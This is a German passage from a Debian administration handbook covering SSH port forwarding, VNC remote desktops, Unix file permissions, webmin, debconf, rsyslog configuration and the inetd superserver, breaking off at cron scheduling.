ssh -R 8000:server:25 intermediary eröffnet auch eine SSH-Sitzung zum Rechner intermediary, aber ssh nimmt dann auf diesem Rechner an Port 8000 Verbindungen an (siehe Abbildung 9.4, „Einen entfernten Port mit SSH weiterleiten“). Jede Verbindung, die an diesem Port hergestellt wird, veranlasst ssh, eine Verbindung vom lokalen Rechner zum Port 25 des server zu öffnen und beide Verbindungen miteinander zu verknüpfen.

In beiden Fällen werden Verbindungen zu Port 25 auf dem Host server hergestellt, die durch den SSH-Tunnel laufen, der zwischen dem lokalen Rechner und dem Rechner intermediary hergestellt wurde. Im ersten Fall ist der Eingang zum Tunnel der lokale Port 8000, und die Daten laufen zum Rechner intermediary, bevor sie zum server im „öffentlichen“ Netzwerk geleitet werden. Im zweiten Fall sind Ein- und Ausgang im Tunnel vertauscht: der Eingang ist Port 8000 auf dem Rechner intermediary, der Ausgang ist auf dem lokalen Host, und die Daten werden dann zum server geleitet. In der Praxis ist der Server normalerweise entweder der lokale Rechner oder der intermediäre. Auf diese Weise sichert SSH die Verbindung von einem Ende zum anderen.

Abbildung 9.3. Einen lokalen Port mit SSH weiterleiten

Abbildung 9.4. Einen entfernten Port mit SSH weiterleiten

9.2.2. Entfernte grafische Arbeitsflächen benutzen

VNC (Virtual Network Computing) ermöglicht aus der Ferne Zugriff auf grafische Arbeitsflächen.

Dieses Hilfsprogramm wird vor allem zur technischen Unterstützung eingesetzt; der Administrator kann die Fehler sehen, denen ein Benutzer gegenübersteht, und ihm die richtige Vorgehensweise zeigen, ohne vor Ort sein zu müssen.

Zuerst muss der Benutzer die Freigabe seiner Sitzung freigeben. Die grafische GNOME-Desktopumgebung in Jessie enthält diese Option in ihrer Konfigurationskonsole (im Gegensatz zu früheren Versionen von Debian, wo der Benutzer vino installieren und ausführen musste). KDE benötigt weiterhin krfb, um eine bestehende Sitzung über VNC zu teilen. Für andere grafische Desktop-Umgebungen dient der Befehl x11vnc (aus dem gleichnamigen Debian-Paket) dem gleichen Zweck; Sie können ihn dem Benutzer mit einem expliziten Symbol zur Verfügung stellen.

Wenn die grafische Sitzung durch VNC freigeschaltet wurde, muss sich der Administrator über einen VNC-Client mit ihr verbinden. GNOME verfügt zu diesem Zweck über vinagre und remmina, während KDE krdc enthält (im Menü unter K-Menü → Internet → Krdc - Verbindung zu Fremdrechner). Es gibt weitere VNC-Clients, die die Befehlszeile verwenden, wie zum Beispiel xvnc4viewer im gleichnamigen Debian-Paket. Sobald die Verbindung hergestellt ist, kann der Administrator sehen, was vorgeht, aus der Ferne auf dem Rechner arbeiten und dem Benutzer zeigen, wie er vorgehen soll.

SICHERHEIT VNC über SSH

Falls Sie über VNC eine Verbindung herstellen, Ihre Daten aber nicht im Klartext über das Netzwerk schicken wollen, können Sie sie in einem SSH-Tunnel verbergen (siehe Abschnitt 9.2.1.3, „Verschlüsselte Tunnel mit Port-Weiterleitung einrichten“). Sie müssen nur wissen, dass VNC standardmäßig den Port 5900 für den ersten Bildschirm („localhost:0“ genannt), 5901 für den zweiten („localhost:1“ genannt) usw. verwendet.

Der Befehl ssh -L localhost:5901:localhost:5900 -N -T rechner erstellt einen Tunnel zwischen dem lokalen Port 5901 in der localhost-Schnittstelle und Port 5900 auf dem Host rechner. Das erste „localhost“ beschränkt SSH darauf, nur an dieser Schnittstelle des lokalen Rechners auf Anfragen zu warten. Das zweite „localhost“ bezeichnet die Schnittstelle des entfernten Rechners, die den Netzverkehr entgegennehmen wird, der in „localhost:5901“ eintritt. Auf diese Weise verbindet vncviewer localhost:1 den VNC-Client mit dem entfernten Bildschirm, obwohl Sie den Namen des lokalen Rechners angeben.

Wenn die VNC-Sitzung beendet ist, vergessen Sie nicht, den Tunnel zu schließen, indem Sie auch die entsprechende SSH-Sitzung beenden.

ZURÜCK ZU DEN GRUNDLAGEN Display Manager

gdm3, kdm, lightdm und xdm sind Display Manager. Sie übernehmen kurz nach dem Hochfahren die Kontrolle über die grafische Schnittstelle, um dem Benutzer einen Anmeldebildschirm bereitzustellen. Sobald der Benutzer sich angemeldet hat, führen sie die zum Starten einer grafischen Arbeitssitzung erforderlichen Programme aus.

VNC funktioniert auch für mobile Anwender oder für Angestellte, die sich gelegentlich von zu Hause aus anmelden müssen, um auf einen entfernten Bildschirm ähnlich dem an ihrem Arbeitsplatz zuzugreifen. Die Konfiguration eines derartigen Dienstes ist komplizierter: zunächst installieren Sie das Paket vnc4server, passen die Konfiguration des Display Managers dahingehend an, dass er Anfragen an XDMCP Query annimmt (für gdm3 kann dies durch Hinzufügen von Enable=true im Abschnitt “xdmcp” von /etc/gdm3/daemon.conf) und starten schließlich den VNC-Server mit inetd, so dass eine Sitzung automatisch beginnt, wenn ein Benutzer sich anzumelden versucht. Sie können zum Beispiel folgende Zeile zu /etc/inetd.conf hinzufügen:

5950  stream  tcp  nowait  nobody.tty  /usr/bin/Xvnc Xvnc -inetd -query localhost -once -geometry 1024x768 -depth 16 securitytypes=none

Das Umleiten ankommender Verbindungen zum Display Manager löst das Problem der Legitimierung, weil nur Benutzer mit einem lokalen Konto den Anmeldeschirm von gdm3 passieren können (oder in gleicher Weise kdm, xdm usw.). Da dieses Verfahren problemlos mehrere gleichzeitige Anmeldungen ermöglicht (vorausgesetzt, dass der Server ausreichend leistungsfähig ist), kann es sogar dazu verwendet werden, vollständige Arbeitsflächen für mobile Benutzer bereitzustellen (oder für weniger leistungsstarke Arbeitsplatzrechner, die als Thin Clients konfiguriert sind). Benutzer melden sich einfach mit vncviewer server:50 beim Bildschirm des Servers an, da der verwendete Port 5950 ist.

9.3. Berechtigungen verwalten

Linux ist eindeutig ein Mehrbenutzersystem, und daher ist es erforderlich, ein Berechtigungssystem bereitzustellen, um genehmigte Vorgänge an Dateien und Verzeichnissen zu steuern, einschließlich aller Systemressourcen und Laufwerke (in einem Unix-System wird jedes Laufwerk als eine Datei oder ein Verzeichnis dargestellt). Dies ist allen Unix-Systemen gemein, aber ist immer sinnvoll daran zu erinnern, vor allem, da es einige sehr interessante und relativ unbekannte fortgeschrittene Anwendungen davon gibt.

Jede Datei und jeder Ordner hat spezifische Berechtigungen für drei Kategorien von Benutzern:

- seinen Eigentümer (symbolisiert durch u wie in „user“);

- seine Eigentümergruppe (symbolisiert durch g wie in „group“), die alle Mitglieder der Gruppe repräsentiert;

- die Sonstigen (symbolisiert durch o wie in „other“).

Drei Arten von Berechtigungen können kombiniert werden:

- Lesen (symbolisiert durch r wie in „read“);

- Schreiben (oder Ändern, symbolisiert durch w wie in „write“);

- Ausführen (symbolisiert durch x wie in „eXecute“).

Bei einer Datei sind diese Berechtigungen leicht zu verstehen: Lesezugriff erlaubt das Lesen des Inhalts (einschließlich des Kopierens), Schreibzugriff erlaubt es, sie zu verändern, und Ausführungszugriff erlaubt es Ihnen, sie auszuführen (was nur funktionieren wird, wenn sie ein Programm ist).

SICHERHEIT setuid und setgid ausführbare Dateien

Zwei besondere Berechtigungen sind für ausführbare Dateien wichtig: setuid und setgid (durch den Buchstaben „s“ symbolisiert). Beachten Sie, dass wir häufig von einem „Bit“ sprechen, da jeder dieser booleschen Werte durch eine 0 oder eine 1 dargestellt werden kann. Diese beiden Berechtigungen erlauben es jedem Benutzer, das Programm mit den Rechten des Eigentümers beziehungsweise der Gruppe auszuführen. Dieses Verfahren gewährt Zugriff auf Funktionsmerkmale, die Rechte einer höheren Ebene erfordern, als Sie normalerweise haben würden.

Da ein Root-Programm mit setuid durchgängig unter der Identität des Super-Users läuft, ist es sehr wichtig sicherzustellen, dass es sicher und verlässlich ist. Ein Benutzer, dem es gelingt, es zu unterlaufen, um einen Befehl seiner Wahl aufzurufen, könnte sich anschließend als Root-Benutzer ausgeben und so alle Rechte an dem System erlangen.

Ein Verzeichnis wird anders gehandhabt. Lesezugriff gewährt das Recht, die Liste der Einträge (Dateien und Verzeichnisse) durchzugehen, Schreibzugriff erlaubt es, Dateien zu erstellen oder zu löschen, und Ausführungszugriff erlaubt es, es zu durchqueren (insbesondere dorthin mit dem Befehl cd zu gehen). Die Berechtigung, ohne ein Verzeichnis zu lesen auf dessen Inhalt zugreifen zu können, gestattet Zugriff auf namentlich bekannte Dateien, nicht jedoch auf solche von denen man nichts weiß oder deren genauen Namen man nicht kennt.

SICHERHEIT setgid-Verzeichnis und Sticky-Bit

Das setgid-Bit gilt auch für Verzeichnisse. Und neu erstellte Einträge in solchen Verzeichnissen werden automatisch der Benutzergruppe des übergeordneten Verzeichnisses zugeordnet, anstatt wie gewöhnlich die Hauptgruppe des Erstellers zu übernehmen. Durch diese Einstellung wird vermieden, dass der Benutzer die Hauptgruppe des Eintrags ändern muss (mit dem Befehl newgrp), wenn er in einem Verzeichnisbaum arbeitet, der von mehreren Benutzern derselben Gruppe gemeinsam genutzt wird.

Das „Sticky“-Bit (symbolisiert durch den Buchstaben „t“) ist ein Recht, das nur in Verzeichnissen sinnvoll ist. Es wird vor allem bei temporären Verzeichnissen verwendet, auf die jeder Schreibzugriff hat (wie zum Beispiel bei /tmp/): es schränkt das Löschen von Dateien ein, so dass dies nur ihr Eigentümer (oder der Eigentümer des übergeordneten Verzeichnisses) kann. Ohne dieses Recht könnte jeder die Dateien anderer Benutzer in /tmp/ löschen.

Drei Befehle steuern die einer Datei zugeordneten Berechtigungen:

- chown Benutzer Datei ändert den Eigentümer der Datei;

- chgrp Gruppe Datei ändert die Eigentümergruppe;

- chmod Rechte Datei ändert die Berechtigungen für die Datei.

Es gibt zwei Arten, die Berechtigungen darzustellen, wovon die symbolische Darstellung wohl am einfachsten zu verstehen und zu merken ist. Es geht um die oben erwähnten Buchstabensymbole. Sie können Berechtigungen für jede Kategorie von Benutzern festlegen (u/g/o), indem Sie sie entweder ausdrücklich setzen (mit =), sie hinzufügen (+) oder sie entfernen (-). So gewährt die Formel u=rwx,g+rw,o-r dem Eigentümer Lese-, Schreib- und Ausführungszugriff, fügt Lese- und Schreibzugriff für die Eigentümergruppe hinzu und entfernt den Lesezugriff für andere Benutzer. Rechte, die in einem solchen Befehl nicht durch Hinzufügen oder Entfernen modifiziert werden, bleiben unverändert. Der Buchstabe a, für „all“, deckt alle drei Benutzerkategorien ab, so dass a=rx allen drei Kategorien die gleichen Rechte gewährt (Lesen und Ausführen, aber nicht Schreiben).

Die (oktale) Zahlendarstellung ordnet jeder Berechtigung einen Wert zu: 4 für Lesen, 2 für Schreiben und 1 für Ausführen. Wir verknüpfen jede Kombination von Berechtigungen durch die Summe der Zahlen. Jeder Wert wird dann einer anderen Kategorie von Benutzern zugeordnet, indem sie von vorne nach hinten in der üblichen Reihenfolge (Eigentümer, Gruppe, Sonstige) angeordnet werden.

So vergibt zum Beispiel der Befehl chmod 754 datei die folgenden Berechtigungen: Schreiben, Lesen und Ausführen für den Eigentümer (da 7 = 4 + 2 + 1); Schreiben und Ausführen für die Gruppe (da 5 = 4 + 1); nur Lesen für Sonstige. Die 0 bedeutet keine Berechtigung; so gestattet chmod 600 Datei dem Eigentümer Lese-/Schreibzugriff und keine Berechtigung für alle anderen. Die häufigsten Berechtigungskombinationen sind 755 für ausführbare Dateien und Verzeichnisse und 644 für Dateien, die Daten enthalten.

Um spezielle Berechtigungen darzustellen, können Sie dieser Zahl eine vierte Ziffer nach dem gleichen Prinzip voranstellen, wobei die setuid-, setgid- und sticky-Bits jeweils 4, 2 und 1 entsprechen. chmod 4754 fügt das setuid-Bit den zuvor beschriebenen Berechtigungen hinzu.

Beachten Sie, dass die oktale Schreibweise es nur erlaubt, alle Berechtigungen gleichzeitig für eine Datei zu setzen. Sie können sie nicht dazu benutzen, einfach eine neue Berechtigung hinzuzufügen, wie den Lesezugriff für die Eigentümergruppe, da Sie die bestehenden Berechtigungen berücksichtigen und den entsprechenden neuen numerischen Wert berechnen müssen.

TIPP Rekursives Verfahren

Manchmal müssen wir die Berechtigungen für einen ganzen Dateibaum ändern. Alle oben beschriebenen Befehle haben eine -R-Option, um rekursiv in Unterverzeichnissen zu agieren.

Die Unterscheidung zwischen Verzeichnissen und Dateien verursacht manchmal Probleme bei rekursiven Aktionen. Daher wurde für die symbolische Darstellung von Berechtigungen der Buchstabe „X“ eingeführt. Er stellt ein Ausführungsrecht dar, das nur für Verzeichnisse gilt (und nicht für Dateien, die dieses Recht nicht haben). So fügt chmod -R a+X Verzeichnis Ausführungsrechte für alle Kategorien von Benutzern (a) nur bei allen den Unterverzeichnissen und Dateien hinzu, bei denen wenigstens eine Benutzerkategorie (selbst wenn dies ihr einziger Eigentümer ist) bereits Ausführungsrechte hat.

TIPP Eigentümer und Gruppe ändern

Häufig möchten Sie die Gruppe einer Datei und gleichzeitig ihren Eigentümer ändern. Der Befehl chown hat hierfür eine besondere Syntax: chown Eigentümer:Gruppe Datei

WEITERE SCHRITTE umask

Wenn eine Anwendung eine Datei erstellt, teilt sie ihr vorläufige Berechtigungen zu, wissend dass das System automatisch bestimmte Berechtigungen entfernt, die mit dem Befehl umask vorgegeben wurden. Geben Sie umask in einer Shell ein, werden Sie eine Maske wie zum Beispiel 0022 sehen. Dies ist eine oktale Darstellung der Berechtigungen, die planmäßig entfernt werden (in diesem Fall die Schreibrechte für die Gruppe und sonstige Benutzer).

Wenn Sie einen neuen oktalen Wert eingeben, verändert der Befehl umask die Maske. Bei Verwendung in der Startdatei einer Shell (zum Beispiel ~/.bash_profile) ändert er grundsätzlich die Standardmaske für Ihre Arbeitssitzungen.

9.4. Administrations-Schnittstellen

Eine grafische Schnittstelle für die Administration zu benutzen, ist unter verschiedenen Umständen interessant. Ein Administrator kennt nicht unbedingt alle Konfigurationseinzelheiten für alle seine Dienste, und er hat nicht immer Zeit, sich auf die Suche nach der Dokumentation für ein Thema zu machen. Eine grafische Schnittstelle für die Administration kann daher die Bereitstellung eines neuen Dienstes beschleunigen. Sie kann auch die Einrichtung von Diensten vereinfachen, die schwierig zu konfigurieren sind.

Eine derartige Schnittstelle ist nur eine Hilfe und kein Selbstzweck. Auf jeden Fall muss der Administrator ihr Verhalten beherrschen, um mögliche Probleme verstehen und umgehen zu können.

Da keine Schnittstelle vollkommen ist, könnten Sie versucht sein, verschiedene Lösungen auszuprobieren. Dies sollte jedoch möglichst vermieden werden, da verschiedene Programme manchmal in ihren Funktionsweisen zueinander inkompatibel sind. Selbst wenn sie alle darauf abzielen, sehr flexibel zu sein und versuchen, die Konfigurationsdatei als ihren einzigen Bezugspunkt zu verwenden, sind sie nicht immer in der Lage, auch externe Veränderungen einzubeziehen.

9.4.1. Über eine Webschnittstelle administrieren: webmin

Dies ist ohne Zweifel eine der erfolgreichsten Administrations-Schnittstellen. Es ist ein modulares System, das mittels eines Webbrowsers bedient wird und ein weites Spektrum an Bereichen und Werkzeugen abdeckt. Darüber hinaus ist es internationalisiert und in vielen Sprachen verfügbar.

Leider ist webmin nicht mehr in Debian enthalten. Sein Debian-Betreuer - Jaldhar H. Vyas - hat die Pakete, die er erstellt hatte, entfernt, da er nicht mehr die erforderliche Zeit hatte, um sie auf einem akzeptablen Qualitätsniveau zu halten. Kein anderer hat die Aufgabe offiziell übernommen, daher enthält Jessie das Paket webmin nicht.

Auf der Webseite webmin.com wird jedoch ein inoffizielles Paket verteilt. Im Gegensatz zu den originalen Debian Paketen, ist dieses Paket monolithisch; alle seine Konfigurationsmodule werden standardmäßig installiert und aktiviert, selbst wenn der dazugehörige Dienst auf dem Rechner nicht installiert ist.

SICHERHEIT Das Root-Passwort ändern

Beim ersten Anmelden dienen der Benutzername root und sein normales Passwort zur Identifizierung. Es ist empfehlenswert, das für webmin verwendete Passwort so bald wie möglich zu ändern, so dass im Falle eines Angriffsversuchs das Root-Passwort für den Server nicht betroffen ist, selbst wenn hierdurch dem Rechner wichtige Administrationsrechte verliehen werden.

Vorsicht! Da webmin sehr viele Funktionen hat, könnte ein böswilliger Benutzer bei einem Zugriff die Sicherheit des gesamten Systems gefährden. Im Allgemeinen wird deshalb von der Verwendung derartiger Schnittstellen bei wichtigen Systemen mit starken Sicherheitsauflagen (Firewall, sensible Server usw.) abgeraten.

Webmin wird durch eine Webschnittstelle bedient, es erfordert aber nicht die Installation von Apache. Im Grunde hat diese Software ihren eigenen integrierten Mini-Webserver. Dieser Server wartet an Port 10000 auf Anfragen und nimmt sichere HTTP-Verbindungen an.

Die mitgelieferten Module decken eine große Vielfalt von Diensten ab, unter anderem:

- alle Basisdienste: Anlegen von Benutzern und Gruppen, Verwaltung von crontab-Dateien, Init-Skripten, Betrachtung von Protokolldateien usw.

- bind: Konfiguration eines DNS-Servers (Namensdienst);

- postfix: Konfiguration eines SMTP-Servers (E-Mail);

- inetd: Konfiguration des Superservers inetd;

- quota: Verwaltung der Benutzer-Quota;

- dhcpd: Konfiguration eines DHCP-Servers;

- proftpd: Konfiguration eines FTP-Servers;

- samba: Konfiguration eines Samba-Dateiservers;

- software: Installierung und Entfernung von Software aus Debian-Paketen und Systemaktualisierungen.

Die Administrations-Schnittstelle ist in einem Webbrowser über die Adresse https://localhost:10000 zu erreichen. Vorsicht! Nicht alle Module sind unmittelbar nutzbar. Manchmal müssen sie durch die Angabe der Speicherorte der jeweiligen Konfigurationsdateien und einiger ausführbarer Dateien (Programme) konfiguriert werden. Häufig wird das System Sie freundlich hierauf hinweisen, wenn es ihm nicht gelingt, ein gewünschtes Modul zu aktivieren.

ALTERNATIVE GNOME Control Center

Das Projekt GNOME stellt vielfache Verwaltungsschnittstellen zur Verfügung, die normalerweise über den Settings-Eintrag im User-Menü oben rechts zugänglich sind. gnome-control-centerist das übergreifende Hauptprogramm, aber viele der systemweiten Konfigrationsswerkzeuge werden tatsächlich von anderen Paketen (accountsservice, system-config-printer, etc.) zur Verfügung gestellt. Obwohl in der Benutzung einfach gehalten, stellen diese Anwendungen nur eine begrenzte Zahl an Basisdiensten zur Verfügung: Benutzerverwaltung, Zeit-, Netzwerk-, Druckerkonfiguration und so weiter.

9.4.2. Pakete konfigurieren: debconf

Viele Pakete werden, durch das Stellen einiger Fragen durch Debconf bei der Installation, automatisch konfiguriert. Diese Pakete können mit dem Befehl dpkg-reconfigure paket neu konfiguriert werden.

In den meisten Fällen sind diese Einstellungen sehr einfach; es werden nur einige wichtige Variablen in der Konfigurationsdatei geändert. Diese Variablen sind häufig zwischen zwei „Begrenzungszeilen“ gruppiert, so dass eine Neukonfiguration des Pakets nur Einfluss auf den eingeschlossenen Bereich hat. In anderen Fällen wird eine Neukonfiguration nichts ändern, falls das Skript eine manuelle Änderung der Konfigurationsdatei entdeckt, um so diese menschlichen Eingriffe zu bewahren (da das Skript nicht sicherstellen kann, dass seine eigenen Veränderungen nicht die vorhandenen Einstellungen stören würden).

DEBIAN-RICHTLINIEN Veränderungen bewahren

Die Debian-Richtlinien legen ausdrücklich fest, dass alles getan werden sollte, um manuelle Veränderungen einer Konfigurationsdatei zu bewahren. Daher treffen immer mehr Skripten Vorsichtsmaßnahmen, wenn sie Konfigurationsdateien editieren. Das allgemeine Prinzip ist einfach: das Skript nimmt nur dann Änderungen vor, wenn es den Status der Konfigurationsdatei kennt, was durch einen Vergleich der Prüfsumme der Datei mit derjenigen der letzten automatisch erzeugten Datei überprüft wird. Falls sie gleich sind, ist es dem Skript erlaubt, die Konfigurationsdatei zu ändern. Anderenfalls entscheidet es, dass die Datei verändert wurde und fragt, welche Aktion es durchführen soll (eine neue Datei installieren, die alte Datei speichern oder zu versuchen, die Änderungen in die bestehende Datei zu integrieren). Dieses Vorsorgeprinzip gab es lange Zeit nur bei Debian, inzwischen haben aber auch andere Distributionen damit begonnen, es sich zu eigen zu machen.

Das Programm ucf (aus dem gleichnamigen Debian-Paket) kann dazu verwendet werden, ein derartiges Verhalten umzusetzen.

9.5. syslog Systemereignisse

9.5.1. Prinzip und Mechanismus

Der rsyslogd-Daemon ist für das Sammeln von Meldungen zuständig, die von den Anwendungen und vom Kernel kommen, und für ihre Verteilung auf weitere Protokolldateien (die normalerweise im Verzeichnis /var/log/ gespeichert werden). Er richtet sich nach der Konfigurationsdatei /etc/rsyslog.conf.

Jede Protokollmeldung ist einem Anwendungsuntersystem zugeordnet (in der Dokumentation „facility“ genannt):

- auth und authpriv: für die Authentifizierung;

- cron: kommt von den Diensten für die Aufgabenterminierung cron und atd;

- daemon: betrifft einen nicht näher bestimmten Daemon (DNS, NTP usw.);

- ftp: bezieht sich auf den FTP-Server;

- kern: eine vom Kernel kommende Meldung;

- lpr: kommt vom Druck-Subsystem;

- mail: kommt vom E-Mail-Subsystem;

- news: Usenet-Subsystemmeldung (insbesondere von einem NNTP-Server [Network News Transfer Protocol], der Nachrichtenforen verwaltet);

- syslog: Meldungen vom syslogd-Server selbst;

- user: Benutzermeldungen (allgemein);

- uucp: Meldungen vom UUCP-Server (Unix to Unix Copy Program, ein altes vor allem zur Verteilung von E-Mails verwendetes Protokoll);

- local0 bis local7: für die lokale Verwendung reserviert.

Jeder Meldung ist auch eine Prioritätsstufe zugeordnet. Hier sind sie in abnehmender Reihenfolge:

- emerg: „Hilfe!“ Es gibt einen Notfall, das System ist möglicherweise unbrauchbar.

- alert: Beeilung! Jede Verzögerung kann gefährlich sein, es muss sofort etwas unternommen werden;

- crit: die Umstände sind kritisch;

- err: Fehler;

- warn: Warnung (möglicher Fehler);

- notice: die Umstände sind normal, aber die Meldung ist wichtig;

- info: aufschlussreiche Meldung;

- debug: Fehlerbeseitigungsmeldung.

9.5.2. Die Konfigurationsdatei

Die Syntax der Datei /etc/rsyslog.conf ist auf der Handbuchseite rsyslog.conf(5) ausführlich erläutert, im Paket rsyslog-doc findet sich aber auch eine HTML-Dokumentation (/usr/share/doc/rsyslog-doc/html/index.html). Das Grundprinzip besteht darin, Paare von „selector“ und „action“ zu verfassen. Der Selektor bestimmt alle relevanten Meldungen, und die Aktionen beschreiben, wie mit ihnen umzugehen ist.

9.5.2.1. Syntax des Selektors

Der Selektor ist eine durch Semikolon getrennte Liste von subsystem.priorität-Paaren (Beispiel: auth.notice;mail.info). Ein Stern kann für alle Subsysteme oder alle Prioritäten stehen (Beispiele: *.alert oder mail.*). Mehrere Subsysteme können in einer Gruppe zusammengefasst werden, indem sie durch ein Komma getrennt werden (Beispiel: auth,mail.info). Die angezeigte Priorität bezieht sich auch auf Meldungen gleicher oder höherer Priorität; so bezeichnet auth.alert Meldungen des auth-Subsystems mit der Priorität alert oder emerg. Mit einem vorangestellten Ausrufezeichen (!) bezeichnen sie das Gegenteil, mit anderen Worten nur die niedrigeren Prioritäten; so bezeichnet auth.!notice Meldungen, die von auth mit den Prioritäten info oder debug verschickt worden sind. Mit einem vorangestellten Gleichheitszeichen (=) beziehen sie sich genau und ausschließlich auf die angegebene Priorität (bei auth.=notice handelt es sich ausschließlich um Meldungen von auth mit der Priorität notice).

Jedes Element in der Auswahlliste setzt vorhergehende Elemente außer Kraft. Es ist somit möglich, die Menge einzugrenzen oder bestimmte Elemente von ihr auszuschließen. Zum Beispiel bezeichnet kern.info;kern.!err Meldungen vom Kernel mit einer Priorität zwischen info und warn. Die Priorität none bezeichnet die leere Menge (keine Prioritäten) und kann dazu dienen, ein Subsystem von einer Menge von Meldungen auszuschließen. So bezeichnet *.crit;kern.none alle Meldungen mit der Priorität crit oder höher, die nicht vom Kernel kommen.

9.5.2.2. Syntax der Aktionen

ZURÜCK ZU DEN GRUNDLAGEN Die benannte Pipe, eine beständige Pipe

Eine benannte Pipe ist eine besondere Dateiart, die wie eine gewöhnliche Pipe funktioniert (die Pipe, die man mit dem Symbol „|“ auf der Befehlszeile erstellt), aber mittels einer Datei. Dieses Vorgehen hat den Vorteil, dass sich so zwei unzusammenhängende Prozesse verknüpfen lassen. Alles, was in eine benannte Pipe geschrieben wird, hält den schreibenden Prozess an, bis ein anderer Prozess die geschriebenen Daten zu lesen versucht. Dieser zweite Prozess liest die Daten, die vom ersten geschrieben wurden, der daraufhin seinen Ablauf wieder aufnehmen kann.

Eine derartige Datei wird durch den Befehl mkfifo erstellt.

Die verschiedenen möglichen Aktionen sind:

- die Meldung zu einer Datei hinzufügen (Beispiel: /var/log/messages);

- die Meldung an einen entfernten syslog-Server schicken (Beispiel: @log.falcot.com);

- die Meldung an eine bestehende benannte Pipe schicken (Beispiel: |/dev/xconsole);

- die Meldung an einen oder mehrere Benutzer schicken, falls sie angemeldet sind (Beispiel: root,rhertzog);

- die Meldung an alle angemeldeten Benutzer schicken (Beispiel: *);

- die Nachricht in eine Textkonsole schreiben (Beispiel: /dev/tty8).

SICHERHEIT Protokolle weiterleiten

Es empfiehlt sich, die wichtigsten Protokolle auf einem getrennten Rechner aufzuzeichnen (vielleicht auf einem, der speziell diesem Zweck dient), da dies einen möglichen Eindringling daran hindert, Spuren seines Eindringens zu verwischen (es sei denn natürlich, dass er auch diesen anderen Server kompromittiert). Außerdem sind im Falle eines wesentlichen Problems (wie einem Kernel-Crash) die Protokolle auf einem anderen Rechner verfügbar, was die Chancen erhöht, den Ablauf der Ereignisse, die den Crash verursacht haben, zu bestimmen.

Für den Empfang von Protokollmeldungen, die von anderen Rechnern geschickt werden, müssen Sie die Konfiguration von rsyslog ändern: im Prinzip reicht es aus, die gebrauchsfertigen Einträge in /etc/rsyslog.conf ($ModLoad imudp und $UDPServerRun 514) zu aktivieren.

9.6. Der Superserver inetd

Inetd (häufig „Internet-Superserver“ genannt) ist ein Server der Server. Er führt selten genutzte Server nach Bedarf aus, so dass sie nicht ständig laufen müssen.

Die Datei /etc/inetd.conf listet diese Server und ihre üblichen Ports auf. Der Befehl inetd wartet an allen diesen Ports auf Anfragen; wenn er eine Verbindung zu einem dieser Ports entdeckt, führt er das entsprechende Serverprogramm aus.

DEBIAN-RICHTLINIEN Einen Server in inetd.conf registrieren

Häufig möchten Pakete einen neuen Server in der Datei /etc/inetd.conf registrieren, aber die Debian-Richtlinien verbieten es einem Paket, eine Konfigurationsdatei zu verändern, die ihm nicht gehört. Deshalb wurde das update-inetd-Skript (in dem gleichnamigen Paket) geschaffen: es verwaltet die Konfigurationsdatei, und andere Pakete können es daher benutzen, um einen neuen Server bei der Konfiguration des Superservers zu registrieren.

Jede bedeutende Zeile der Datei /etc/inetd.conf beschreibt einen Server in sieben Feldern (getrennt durch Leerzeichen):

- Die TCP- oder UDP-Portnummer oder der Dienstname (der einer Standardportnummer mit der Information, die in der Datei /etc/services enthalten ist, zugeordnet ist).

- Der Socket-Typ: stream für eine TCP-Verbindung, dgram für UDP-Datagramme.

- Das Protokoll: tcp oder udp.

- Die Optionen: zwei mögliche Werte: wait oder nowait, um inetd mitzuteilen, ob er auf das Ende des gestarteten Prozesses warten soll, bevor er eine andere Verbindung annimmt oder nicht. Für TCP-Verbindungen, die einen Kanal leicht mehrfach nutzen können, können Sie normalerweise nowait verwenden. Für Programme, die über UDP antworten, sollten Sie nowait nur dann verwenden, wenn der Server in der Lage ist, mehrere Verbindungen parallel zu verwalten. Sie können an dieses Feld einen Punkt anhängen, gefolgt von der Höchstzahl der Verbindungen, die pro Minute erlaubt ist (der Standardgrenzwert ist 256).

- Der Benutzername des Benutzers, unter dessen Identität der Server laufen wird.

- Der vollständige Pfad zu dem auszuführenden Serverprogramm.

- Die Argumente: dies ist eine vollständige Liste der Argumente des Programms einschließlich seines eigenen Namens (argv[0] in C).

Das folgende Beispiel illustriert die häufigsten Fälle:

Beispiel 9.1. Auszug aus /etc/inetd.conf

talk   dgram  udp wait    nobody.tty /usr/sbin/in.talkd in.talkd
finger stream tcp nowait  nobody     /usr/sbin/tcpd     in.fingerd
ident  stream tcp nowait  nobody     /usr/sbin/identd   identd -i

Das Programm tcpd wird in /etc/inetd.conf häufig benutzt. Es ermöglicht ankommende Verbindungen durch die Verwendung von Zugangskontrollregeln einzuschränken, die auf der Handbuchseite hosts_access(5) dokumentiert sind, und die in den Dateien /etc/hosts.allow und /etc/hosts.deny konfiguriert sind. Sobald feststeht, dass die Verbindung autorisiert ist, führt tcpd den eigentlich zuständigen Server aus (wie /usr/bin/in.fingerd in unserem Beispiel). Es ist erwähnenswert, dass tcpd auf den Namen zurückgreift, mit welchem es aufgerufen wurde (das ist das erste Argument, argv[0]), um das tatsächlich auszuführende Programm zu ermitteln. Sie sollten deshalb die Parameterliste nicht mit tcpd beginnen, sondern mit dem Programm, zu dem umgeleitet werden soll.

GEMEINSCHAFT Wietse Venema

Wietse Venema, dessen Fachkenntnis im Bereich Sicherheit ihn zu einem angesehenen Programmierer gemacht hat, ist der Verfasser des tcpd-Programms. Er ist auch der Haupturheber von Postfix, dem modularen E-Mail-Server (SMTP, Simple Mail Transfer Protocol), der dafür ausgelegt ist, sicherer und verlässlicher zu sein als sendmail, das sich durch eine lange Vorgeschichte von Sicherheitsschwachstellen auszeichnet.

ALTERNATIVE Weitere inetd Befehle

Debian installiert zwar standardmäßig openbsd-inetd, aber es gibt genügend Alternativen: inetutils-inetd, micro-inetd, rlinetd and xinetd, um nur einige zu nennen.

Diese jüngste Verkörperung eines Superservers bietet sehr interessante Möglichkeiten. Dazu gehört vor allem, dass seine Konfiguration in mehrere Dateien aufgeteilt werden kann (die natürlich im Verzeichnis /etc/xinetd.d/ gespeichert werden), wodurch das Leben eines Administrators erleichtert werden kann.

Nicht zuletzt ist es sogar möglich, das Verhalten von inetd mit systemds Socket-Aktivierungsmechanismus nachzubilden (siehe Abschnitt 9.1.1, „Das systemd Initialisierungssystem“).

9.7. Aufgaben mit cron und atd zeitlich festlegen

cron ist der für die Ausführung zeitlich geplanter und sich wiederholender Befehle (täglich, wöchentlich usw.) zuständige Daemon; atd erledigt nur einmal auszuführende Befehle, jedoch zu einem bestimmten Zeitpunkt in der Zukunft.

In einem Unix-System sind viele Aufgaben für eine regelmäßige Ausführung zeitlich geplant:

- die Protokolldateien rotieren;

- die Datenbank für das Programm locate aktualisieren;

- Daten sichern;

